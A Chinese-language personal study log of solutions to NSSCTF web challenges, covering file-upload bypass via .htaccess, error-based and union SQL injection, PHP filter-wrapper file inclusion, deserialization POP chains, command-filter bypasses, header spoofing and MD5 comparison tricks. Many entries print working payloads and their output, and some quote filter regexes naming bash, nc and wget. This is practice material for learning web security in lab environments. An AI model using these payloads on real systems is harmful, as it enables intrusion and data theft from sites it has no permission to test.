定义自定义错误页面 ErrorDocument 404 /404.html<br>ErrorDocument 500 /500.html
禁止特定文件类型 `<FilesMatch “.(php
设置响应头信息 <IfModule mod_headers.c><br>Header set Cache-Control "no-cache, no-store, must-revalidate"<br>Header set Access-Control-Allow-Origin "*"<br></IfModule>
配置URL重定向规则 RewriteEngine On<br>RewriteRule ^news/([0-9]+)/?$ article.php?id=$1 [L]
设置URL重定向和查询字符串处理 RewriteEngine On<br><br># Redirect "/about" to "/pages/about"<br>RewriteRule ^about$ /pages/about [L,R=301]<br><br># Rewrite "/product?id=123" to "/product/123"<br>RewriteCond %{QUERY_STRING} ^id=(\d+)$<br>RewriteRule ^product$ /product/%1 [L,R=301]
自定义目录索引 Options +Indexes<br>IndexOptions FancyIndexing

  上述仅为知识普及,这里才是解题需要学习的.htaccess的编写,先传一个.php文件试试

1
2
3
filename="shangchuan.php"                   # 被挡
filename="shangchuan.phtml" # 被挡
filename="shangchuan.jpg" # 通过,展示为图片

  初步认为网页只允许.jpg后缀的文件上传,于是创建.htaccess文件并实现.jpg文件以.php脚本的方式运行

1
2
3
<FilesMatch "436_shangchuan.jpg">
SetHandler application/x-httpd-php
</FileMatch>

  于是先上传.htaccess文件,退回后再上传.jpg文件,???

  回过头看佬们的WriteUp,也是一样的啊,我还是没找出来哪里的错

  又试了一次,这次又不一样了,是我没有绕过去嘛,,,

428_[SWPUCTF 2021 新生赛]error –SQL注入 –报错注入 –flag分段显示

  进入环境,尝试向框中输入随机字符乱码,出现提示

  明确是SQL注入知识点,按照19记载的各种类型进行尝试

1
2
3
4
2-1                              # 2-1
1' and 1=1 # 没用
1' order by 1 --+ # 没用
1;select 1,2 # 没用

  很显然二次注入也不能是,只能是报错注入了,查了查报错注入的常用语句及函数

函数 参数释义
updatexml(XML_document, XPath_string,new_value); XML_document:String格式,为XML文档对象的名称
XPath_string:Xpath语法的查询语句
new_value:String格式,替换查找到的数据
extractValue(XML_document, XPath_string); XML_document:String格式,为XML文档对象的名称
XPath_string:Xpath语法的查询语句

  先尝试使用函数updatexml(),由于需要使其报错、不修改原有数据库且随报错输出查询语句的结果,故参数1、3应当被忽略,以1代替;而为了能很好的在报错信息中找到关键输出,会使用concat函数以两个特殊符号将查询结果包围

1
2
3
4
5
6
7
8
// 爆数据库
1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)# => test_db
// 爆表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db'),0x7e),1)# => test_tb users
// 爆字段名
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'),0x7e),1)# => id flag
// 爆flag
1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)# =>NSSCTF{b54f13c8-a82f-48a6-85ad

  明显出现问题,flag只爆了一半出来,查阅得知原因是因为flag过长导致无法显示完全,使用substr()函数可以解决

1
2
3
4
substr((select flag from test_tb),21,40)           // 查询flag字段,查询范围为第21~40个字符
1' and updatexml(1,concat(0x7e,substr((select flag from test_tb),21,40),0x7e),1)#
=> -48a6-85ad-16550bc50df6}
// 整合后应如下:NSSCTF{b54f13c8-a82f-48a6-85ad-16550bc50df6}

3871_[LitCTF 2023]1zjs –JSFuck加密

  进入环境,又是巨多JS源码中找flag,不过这次下手轻了点,不需要往下翻就能看到

  进入提示文件,(*  ̄︿ ̄)这是啥,问了文心一言,叫做JSFuck加密,解密只需要把密文复制后放到控制台console中输出即可

2640_[SWPUCTF 2022 新生赛]ez_ez_php –PHP伪协议 –文件包含漏洞

  进入环境得到PHP代码,审计代码发现如下关键处

1
2
3
4
5
6
7
8
# GET方式传入参数
if (isset($_GET['file']))
# 参数file的前三个字符须为“php”
if ( substr($_GET["file"], 0, 3) === "php" )
# 文件包含
include($_GET["file"]);
# 关键文件提示
//flag.php

  手拿把掐,直接利用PHP伪协议php://filter/read=convert.base64-encode/resource=flag.php,得到Base64加密的flag

  根据提示,目标文件名应当是flag,尝试直接在URL后加上/flag,出现答案

  回头看WriteUp的时候,发现也可以二次使用PHP伪协议,令resource=flag即可

440_[SWPUCTF 2021 新生赛]pop –反序列化 –pop链 –__toString()调用前提

  进入环境,明确知识点为反序列化,需要传入参数w00m,尝试构造类w44m的序列化代码

1
2
/?w00m=O:4:"w44m":2:{s:5:"\x00w440\x00admin";s:4:"w44m";s:6:"\x00*\x00passwd";s:5:"08067";}
/?w00m=O%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7D

  发现没有东西,甚至连“nono”都没有,再查反序列化知识点,发现有个知识点很契合题目“pop”:pop链序列化

  pop链序列化:利用魔法方法在里面进行多次跳转,pop链的尾部是关键属性或漏洞函数,从尾至头递推

  于是重新分析PHP代码,以获得flag为目的

1
2
3
4
获得flag:验证admin="w44m"&&passwd="08067"
验证admin="w44m"&&passwd="08067":调用Getflag()
调用Getflag():w33m中调用$this->w00m->{$this->w22m}()
w33m中调用$this->w00m->{$this->w22m}():__toString()调用

  这里出现了疑惑:__toString()魔术方法在什么时候能够被调用?

调用前提 描述
对象被当作字符串处理 当对象需要使用echoprint语句输出,或在字符串连接操作(如使用.运算符)中涉及对象时,__toString()方法会被自动调用。
方法存在于类中 __toString()方法必须在类中显式定义。如果类中未定义此方法,而对象又被当作字符串处理,则会抛出一个Catchable fatal error错误。
适用于所有需要将对象转为字符串的场景 在任何需要将对象转换为字符串的场景中,如果定义了__toString()方法,PHP都会尝试调用它来完成转换。这包括函数调用参数需要字符串类型、文件写入操作需要字符串数据等。

  这就很明白了,可以续上pop链了

1
2
3
__toString()调用:echo $this->w00m调用
echo $this->w00m调用:w22m的__destruct()调用,即其被析构
w22m的__destruct()调用:w22m的创建

  综上,最外层应当创建w22m的对象,且相应参数应如下

参数
w22m:w00m,s:4:”w00m”; 类w33m的实例
w33m:w00m,s:4:”w00m”; 类w44m的实例
w33m:w22m,s:4:”w22m”; s:7:”Getflag”;
w44m:admin,s:5:”\00w44m\00admin”; s:4:”w44m”;
w44m:passwd,s:6:”\00*\00passwd”; s:5:”08067”;

  这里就不自己推序列化字串了,用.php脚本自己跑,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class w44m
{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m = new w44m();
$a->w00m->w22m = "Getflag";
$b = serialize($a);
echo urlencode($b);
?>

  结算画面(ノ・ェ・)ノ(ノ・ェ・)ノ(ノ・ェ・)ノ

3867_[LitCTF 2023]作业管理系统 –文件上传

  进入环境,F12网页检查,发现出现提示信息<!--默认账户admin admin-->,输入后得到下一界面

  看左侧的功能框,推测是文件上传的知识点,上传个一句话木马试试水<?php phpinfo();?>,然后直接访问上传上去的文件

  好吧,接着试呗,ls /

  剩下就简单了,cat /flag出现答案

3053_[UUCTF 2022 新生赛]websign

  进入环境,告诉我源代码里有东西,可是我怎么按不出来F12?

  没事,我还可以curl -v url,直接在Window命令行中拿到flag

2422_[鹏城杯 2022]简单包含 –文件包含漏洞 –脏数据伪协议绕过

  进入环境得到PHP代码和flag位置提示,直接一个PHP伪协议读文件

  题目以及提示信息都表明考察文件包含漏洞,故考虑页面waf的对象是过滤器和目标文件,反复尝试

1
2
3
4
5
6
7
8
9
10
11
flag=flag                             # waf
flag=php # 无
flag=read # 无
flag=resource # 无
flag=filter # 无
flag=/ # 无
flag=. # 无
flag=- # 无
flag=: # 无
flag=covert.base64-encode # 无
flag=php://filter/read=covert.base64-encode/resource=.php # 无

  很明显了,拦截的就是flag,但是实在是绕不过去,看了WriteUp才拿到flag;学到了新方法:添加脏数据,即利用&添加无关信息

442_[SWPUCTF 2021 新生赛]sql –SQL注入 –空格绕过 –等号绕过 –注释符绕过 –substr()绕过

  进入环境,让我输点东西,先看看网页源码(其实看标签页名也可以)

  输入wllm参数,弹出提示消息,根据题目认定为SQL注入(这个图跟387一模一样),进行尝试:wllm=1' order by 3--+,很好,被拦截了,看看是哪些被拦截了

1
2
3
4
5
/?wllm=1                      # 输出提示信息
/?wllm=1' # 报错但无waf
/?wllm=1' order by # waf
/?wllm=1' order # waf
/?wllm=1' o # waf

  初步明确为空格被程序所拦截,可是又不会T _ T T _ T T _ T,查阅资料,结合WriteUp整理手段如下

手段 演示
空格绕过/**/ 1'/**/order/**/by/**/3--+#
空格绕过// 1'//order//by//3--+#
注释绕过%23 1' order by 3--+%23
等号绕过like 1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'test_db'#
substr()绕过mid() 1' union select 1,mid(flag,25,30),3

  综上,尝试编写SQL语句如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/?wllm=2'/**/order/**/by/**/3--+%23      # waf
/?wllm=2'/**/order/**/by/**/3%23 # 正常无信息
/?wllm=2'/**/order/**/by/**/4%23 # Unknown column '4' in 'order clause'
/?wllm=2'/**/union/**/select/**/1,2,database()%23 # test_db
/?wllm=2'/**/union/**/select/**/1,2,group_concat(schema_name)/**/from/**/information_schema.schemata%23
=> information_schema,m
/?wllm=2'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
=> LTLT_flag,users
/?wllm=2'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
=> id,flag,id,username,
/?wllm=2'/**/union/**/select/**/1,2,flag/**/from/**/LTLT_flag%23
=> NSSCTF{1b668c71-2ca7
# 现在可以找后半段flag
/?wllm=2'/**/union/**/select/**/1,2,mid(flag,20,40)/**/from/**/LTLT_flag%23
=> 7-47be-adaf-0b52bbbc
/?wllm=2'/**/union/**/select/**/1,2,mid(flag,40,60)/**/from/**/LTLT_flag%23
=> 5fcb}
# 综上得到flag:NSSCTF{1b668c71-2ca7-47be-adaf-0b52bbbc5fcb}

438_[SWPUCTF 2021 新生赛]finalrce –Linux指令绕过 –tee指令

  进入环境得到PHP代码,审计关键代码

1
2
3
4
5
6
# GET方式传入url参数
$url=$_GET['url'];
# 正则表达式绕过
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
# 魔术方法使用
exec($url);

  首先来学习一下exec()

  string exec ( string $command [, array &$output [, int &$return_var ]] ),用于执行外部程序,无回显

参数名 类型 可选 解释
$command string 要执行的外部命令或程序的字符串表示
$output array 命令的完整输出结果将作为数组存储在此变量中,每个数组元素代表命令输出的一行
$return_var int 命令执行后的退出状态码将存储在此变量中,退出状态码 0 表示成功,非零值表示错误

  查阅资料,发现对于一般的Linux指令的屏蔽,可以使用如下绕过

方法 演示
单引号绕过 l''s
双引号绕过 l""s
反斜杠绕过 l\s

  显然,本题适用第一、三种方式;接下来需要解决exec()无回显的问题,我们可以将上个命令的输出存于文件,通过访问文件得到结果,有以下两种方法

方法 演示
>输入符 ls / > output.txt
tee指令 `ls /

  显然,本题仅适用第二种方法;问题解决后,来尝试编写url参数

1
2
3
4
5
/?url=l\s / | tee output.txt
/output.txt
=> a_here_is_a_f1ag bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
/?url=ca\t /flllll\aaaaaaggggggg | tee output.txt # la也被拦截
/output.txt

  flag结算画面

3869_[LitCTF 2023]Http pro max plus –HTTP请求IP更改 –Referer信息头 –Via信息头

  进入环境,看到题目名HTTP,先curl尝尝咸蛋

  没啥东西,根据提示,猜测题目类同385,利用BurpSuite抓包修改一下X-Forwarded-For信息头

  ψ(`∇´)ψ好好好,被拿下了,又去搜其他方法,才发现巨多

信息头 信息
client-ip 127.0.0.1
Forwarded-For-fp 127.0.0.1
Forwarded-For 127.0.0.1,localhost
Forwarded 127.0.0.1, localhost
True-Client-IP 127.0.0.1
X-Client-IP 127.0.0.1
X-Custom-IP-Authorization 127.0.0.1
X-Forward-For 127.0.0.1
X-Forward 127.0.0.1,localhost
X-Forwarded-By 127.0.0.1,localhost
X-Forwarded-For-Original 127.0.0.1,localhost
X-Forwarded-Server 127.0.0.1,localhost
X-Forwarded 127.0.0.1,localhost
X-Forwared-Host 127.0.0.1,localhost
X-Host 127.0.0.1

  挨个试试,第一个就可以

  又是个我没见过的东西,不过还好,文心一言认识

  再加个Referer信息头试试,又说是要Chrome浏览器,这个我会,改User-Agent就好

  OK,这个“代理服务器地址”我也不知道用哪个信息头,不过文心一言依旧有用

  接着试试,这下终于给东西了,进入/wtfwtfwtfwtf.php,又被秀一脸

  再次进入提示文件,终于不用受折磨了,拿到flag

3786_[HDCTF 2023]Welcome To HDCTF 2023 –JSFuck

  进入环境,好玩!直接拿到flag

  当然,好好去做题练习的话,还是ctrl+U看看网页源代码吧,在[assets/js/game.js]中,直接下翻,会出现熟悉的JSFuck加密信息,解密即获得flag

3866_[LitCTF 2023]Vim yyds –vim泄露 –.swp文件恢复

  (刷题刷到这里发现攒的金币不够了,忍痛冲了¥9.8,NSS你苟富贵勿相忘啊)

  进入环境,一脸懵圈,连思路都没有,看标题果断去查关键字“CTF,Web,Vim”,出来点有用东西

  vim缓存:当开发人员在线上环境中使用vim编辑器,在使用过程中会留下vim编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露,包含两个后缀

后缀 释义
.文件名(包含后缀).swp 用于记录未保存的更改,以防主文件,即你正在编辑的文件损坏或被删除
.文件名(包含后缀).swo 用于支持Vim的会话恢复功能,即保存多个文件的状态以便在Vim崩溃后恢复

  也即表示我们需要找到后缀为.swp的文件并对其进行恢复,先找到;可是我源码和包都看了看,没给提示,没办法,只有扫目录了(这次专门为这道题给Level_1字典中所有.php路径加了对应的.swp,整理为Level_2好了)

  找到马脚,由于Windows没有Vim,开个Kali用,先wget把东西下下来,然后根据进程恢复,得到真正的源码

  审计关键代码如下

1
2
3
4
if ($_POST['password'] === base64_encode($password))
# 如果POST传入的password参数值等于base64编码的$password
eval(system($_POST['cmd']))
# 执行POST方式传入的参数cmd

  这下不就简单了,$password的编码是R2l2ZV9NZV9Zb3VyX0ZsYWc=,只需要通过不断执行不同cmd即可出现结果

1
2
3
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=ls /
=> bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

  结算画面☟

2076_[NSSCTF 2022 Spring Recruit]babyphp –强比较 –弱比较 –intval()

  进入环境得到PHP代码,审计关键代码如下

1
2
3
4
5
6
7
8
# POST方式传入参数a,a中无数字,intval??
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
# POST方式传入参数b1、b2
if(isset($_POST['b1'])&&$_POST['b2'])
# b1、b2进行MD5比较:数组绕过,具体原理见386
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
# POST方式传入参数c1、c2,必须为字符串,进行MD5弱比较
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

  有一个不会的知识点,学一学

  int intval ( mixed $var [, int $base = 10 ] ) : int,将输入转为整数值,返回转换后的整数值;如果转换失败,则返回 0

参数 类型 解释
$var mixed 要转换的变量。可以是整数、浮点数、字符串、布尔值、null、数组或对象。根据变量的类型,intval 会尝试将其转换为整数值。
$base int 转换的进制,取值范围是2到36。默认值是10,当 $var 是字符串时,此参数指定了字符串的解析进制

  这下全知道了,要求一项项满足

1
2
3
4
5
6
7
8
# 首先是a,随便给个数组绕过preg_match()就好
a[]=1
# b1,b2一样
b1[]=123&b2[]=1234
# 由于c1,c2有限制,使用正常的"0e"法绕过,同样见386
c1=MMHUWUV&c2=MAUXXQC
# 综上
a[]=1&b1[]=123&b2[]=1234&c1=MMHUWUV&c2=MAUXXQC

  OK,flag到手

2900_[HNCTF 2022 Week1]Interesting_include –文件包含漏洞 –PHP伪协议 –有问题尚未解决

  进入环境得到PHP代码,这里的每一句话都在让我用php://filter/做事啊,不过还不是时候

  由于正则表达式过滤了关键词flag,所以我们选择绕过关键词,使用单引号绕过,先尝试直接输入文件名

  不出所料不让用,这下老实用PHP伪协议了,先输个错的试试:php://filter/read=convert.base64-encode/resource=flag.php

  啊啊啊?不是拦截了flag关键字吗?怎么输了还能过?上网查了查,觉得应该是这回事

  首先应该了解一下PHP伪协议的生效流程(下列讲述仅为个人结合题目特殊处、询问文心一言之后的初步理解,欢迎探讨、赐教)

步骤 描述
参数接收 你的输入(例如,通过GET请求、POST请求或其他方式传递的参数)首先被PHP脚本接收
解析参数 PHP脚本解析接收到的参数,并识别出它是一个特殊的流封装器URL(即 php://filter/...)
流封装器处理 PHP的流封装器机制开始处理这个URL。php://filter 是一个特殊的流封装器,用于在读取或写入数据之前对数据进行过滤
过滤器应用 根据URL中的 read=convert.base64-encode 部分,PHP应用Base64编码过滤器;在读取 flag.php 文件的内容之前,PHP会先将其内容转换为Base64编码
资源访问 PHP尝试访问 resource=flag.php 指定的资源,通常意味着打开并读取该文件的内容
返回结果 经过Base64编码后的文件内容被返回给调用者
执行后续代码 在参数被接收和解析(以及可能的流封装器处理)之后,PHP脚本会继续执行后续的代码;这可能包括进一步处理解析后的参数、执行数据库查询、生成HTML输出等

  也就是说,在后续preg_match()还未作用时,资源访问的结果已经展示出来了

463_[鹤城杯 2021]EasyP –文件包含漏洞 –$_SERVER['REQUEST_URI']绕过 –$_SERVER['REQUEST_SELF']绕过 –basename()利用

  进入环境得到PHP代码,审计关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# POST方式传入参数guess
if (isset($_POST['guess']))
# 将传入的guess参数转为字符串
$guess = (string) $_POST['guess'];
# 如果guess变量等于secret变量,输出flag (???哪来的$secret)
if ($guess === $secret)
# ???
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']))
# ??????
if (preg_match('/show_source/', $_SERVER['REQUEST_URI']))
# 如果参数show_source
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}

  不是很想细致学正则表达式,我选择文心一言

1
2
/utils\.php\/*$/i      => 以utils.php结尾
/show_source/ => 包含show_source

  然后再细致学习一下$_SERVER['REQUEST_URI']$_SERVER['PHP_SELF']的具体含义

参数 具体含义
$_SERVER['REQUEST_URI'] 客户端请求资源的完整URL路径信息,包括查询字符串
$_SERVER['PHP_SELF'] 当前执行的脚本文件名

  现在来重新理解一下

1
2
3
4
5
6
# 如果当前执行的脚本中含utils.php,则被拦截
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']))
# 如果当前URL中出现show_source,则被拦截
if (preg_match('/show_source/', $_SERVER['REQUEST_URI']))
# 语法高亮显示当前PHP脚本文件的内容
highlight_file(basename($_SERVER['PHP_SELF']))

  可还是找不到绕过的思路,没办法,出去看了佬们的WriteUp,总结知识点如下

1
2
3
4
5
6
# $_SERVER['PHP_SELF']参数返回的是除了域名/参数以外的URL,有如下例:
http://127.0.0.1/try.php => /try.php
http://127.0.0.1/test/try.php => /test/try.php
http://127.0.0.1/test/test/try.php => /test/test/try.php
http://127.0.0.1/test/try.php?a=1&b=1 => /test/try.php
http://127.0.0.1/test/try1.php/try2.php => /test/try1.php/try2.php
1
2
3
4
5
6
7
8
9
# $_SERVER['PHP_SELF']参数返回的是除了域名以外的URL,有如下例:
http://127.0.0.1/try.php => /try.php
http://127.0.0.1/test/try.php => /test/try.php
http://127.0.0.1/test/test/try.php => /test/test/try.php
http://127.0.0.1/test/try.php?a=1&b=1 => /test/try.php?a=1&b=1
http://127.0.0.1/test/try1.php/try2.php => /test/try1.php/try2.php
# $_SERVER['PHP_SELF']不会自动将特殊字符转换,有如下例:
http://127.0.0.1/test/try.php?a=1%20&%20b=1 !=> /test/try.php?a=1 & b=1
=> /test/try.php?a=1%20&%20b=1

  接着是函数basename()

  string basename ( string $path [, string $suffix ] ),返回路径中的文件名部分

参数 类型 含义
$path string 要处理的路径字符串,可以是相对路径或绝对路径
$suffix string 如果指定这个参数,并且它出现在路径的末尾,那么这部分会被移除,即不显示

  且,由于$_SERVER[‘PHP_SELF’]参数读取顺序从后向前,遇到非ASCII码即截止,故利用此可绕过正则表达式的匹配

1
preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])   => utils.php/陈:返回否,即无匹配字符串

  故尝试构造payload绕过两次正则

1
2
# 当前处于index.php脚本中,必需向index.php脚本中传入参数,故不能直接URL后加/utils.php,需先加index.php
/index.php/utils.php/陈?show%5Fsource=1

  OK,一次成功(看了答案不一次成功也说不过去吧☞☜)

2602_[HUBUCTF 2022 新生赛]checkin –反序列化 –bool弱比较绕过

  进入环境得到PHP代码,审计关键代码如下

1
2
3
4
5
6
# info变量接受GET方式传入的参数,若无,则为空
$info = isset($_GET['info'])? $_GET['info']: "" ;
# data_unserialize变量接受序列化字串info并储存反序列化结果
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;

  根据提示,需要的两个变量username和password显然不是代码中给出的两个值;info为两个变量(一个数组)的序列化字串,故只需要再解决未知参数比较为真的要求即可获取flag

  注意到比较符为“==”,即弱比较:先隐式转换变量类型,再比较其值,如果输入一个bool值,只要两变量不为空,即可匹配成功(当然要是为否导致匹配不成功,我们也可以从我们这边输入否嘛);尝试编写.php文件输出序列化字符

1
2
3
4
5
6
7
<?php
$data = array(
"username" => true,
"password" => true
);
echo serialize($data);
?>

  将结果传入参数info即得到flag

3740_[GDOUCTF 2023]EZ WEB –Flask –HTTP请求方式修改

  进入环境,点按钮后没有东西。看看源代码,发现有个提示

  在URL后面添加/src得到Python代码,第一次遇见,详细分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import flask

app = flask.Flask(__name__)
# 将 URL+/ 的访问使用下面的函数执行,返回index.html
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
# 将 URL+/src 的访问使用下面的函数执行,返回app.py
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
# 解题关键
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()

  要求使用“PUT”请求访问路径/super-secret-route-nobody-will-guess,故选择BurpSuite抓包修改请求头,得到flag

2821_[SWPUCTF 2022 新生赛]ez_ez_php(revenge) –PHP伪协议 –文件包含

  进入环境得到PHP代码,审计关键代码如下

1
2
3
4
5
6
7
8
// 以GET方式传入参数file
if (isset($_GET['file'])) {
// 要求file参数的前三个字符是php
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
// 显示file参数所指文件
include($_GET["file"]);
}

  这道题和2640一模一样,直接照搬答案:php://filter/read=convert.base64-encode/resource=flag.php,得到Base64编码如下,转换得到如下代码

1
2
3
4
5
6
7
8
9
10
Base64:PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXyAnL2ZsYWcnICIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo=
转换后:
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_ '/flag' "."<br/>";
echo "换个思路,试试PHP伪协议呢";

  再做一下,然后会发现/flag突然不行了,好嘛这次换一个:php://filter/read=convert.base64-encode/resource=/flag,转换得到flag

3700_[GDOUCTF 2023]泄露的伪装 –目录扫描 – –file_get_contents()绕过

  进入环境,除了一句话,啥也没有。F12、网页源码、Curl+V都不行,尝试目录扫描,结果同样不好

  上述情况的产生,说明我自己编写的尝试集合被URL全部屏蔽掉了,尝试使用更高级的目录扫描工具ヾ(´・ ・`。)ノ”

  观察到有一个www.rar的类似压缩包的路径,试一下是不是有东西下载,确实;打开压缩包中的唯一文件,发现下一步信息

  打开发现PHP代码,审计关键代码如下

1
2
3
4
5
6
7
// 以GET方式传参
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
// 魔术方法file_get_contents绕过
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}

  file_get_contents函数在题441中有学到,直接使用data://tetx/plainPHP伪协议:?cxk=data://tetx/plain,ctrl,得到flag

2898_[HNCTF 2022 Week1]2048 –JS分析

  进入环境,熟悉的游戏界面,不犹豫,直接看网页源代码,观察发现还有一个JS文件,进入

  发现其中的中文无法正确显示,本地下载后,使用Notepad++以UTF-8编码方式查看,在判断分数大于20000的True分支中找到线索

  F12,在console控制台输出alert语句的结果,得到flag,注意修改为“NSSCTF{}”形式

3090_[UUCTF 2022 新生赛]ez_rce –命令执行函数 –反引号绕过 –反斜杠绕过 –eval()支持函数 –有问题尚未解决

  进入环境得到PHP代码???真是恶劣的讽刺啊,必须狠狠炮制它,审计代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
// GET方式传入参数code
if(isset($_GET['code'])){
$code=$_GET['code'];
// code参数应为命令执行语句,且需要避开正则表达式的匹配
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

  很好,只需要绕过正则表达式的匹配就好了,看着强度评价为还不如题439,直接试试URL取反:system("ls /")

  ???为什么不能用?已老实,尝试其他的方法,观察到正则表达式中并没有包括反引号“`”和反斜杠“\”,从此入手

1
2
sy\stem("l\s")          => 不行
s\ystem("l\s") => 不行

  又不会了,system()函数中的字符串又没有办法用反斜杠,只能重新去查eval()函数还支持哪些函数

函数类型 函数名 描述
输出函数 echo 输出一个或多个字符串到标准输出(通常是浏览器)
print 输出一个字符串到标准输出
printf / sprintf 格式化输出字符串(printf直接输出,sprintf返回字符串)
var_dump 打印变量的详细信息,包括类型和值
var_export 返回或打印变量的字符串表示(可用于重新构造变量)
print_r 打印变量的易于理解的信息(通常用于数组和对象)
命令执行函数 shell_exec 通过shell环境执行命令,并将完整的输出作为字符串返回
exec 执行一个外部程序,但只返回最后一行输出(可通过第二个参数获取完整输出)
system 执行外部程序,并显示输出(与exec类似,但直接输出到标准输出)
passthru 执行外部程序,并原样传递输出(适用于二进制数据)
popen / pclose 打开进程文件指针,用于读写(与shell_execexec类似,但提供了更灵活的交互方式)
backticks () 反引号(与shell_exec功能类似,但直接在字符串中使用)

  OK,原来不止有system()函数啊,再来试试正则表达式里面没有过滤的print函数

1
2
3
4
5
6
7
print `l\s`;                            => error.log index.php
print `l\s /`;
=> bin boot dev etc fffffffffflagafag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
print `ca\t /fffffffffflagafag`; => 无
print `mo\re /fffffffffflagafag`;
print `c\at /fffffffffflagafag`; => flag
print `ta\c /fffffffffflagafag`; => flag

  搞不懂了,都是文件读取指令,都用反斜杠绕过了,咋不同的插入位置效果不同呢?总之是把flag解出来了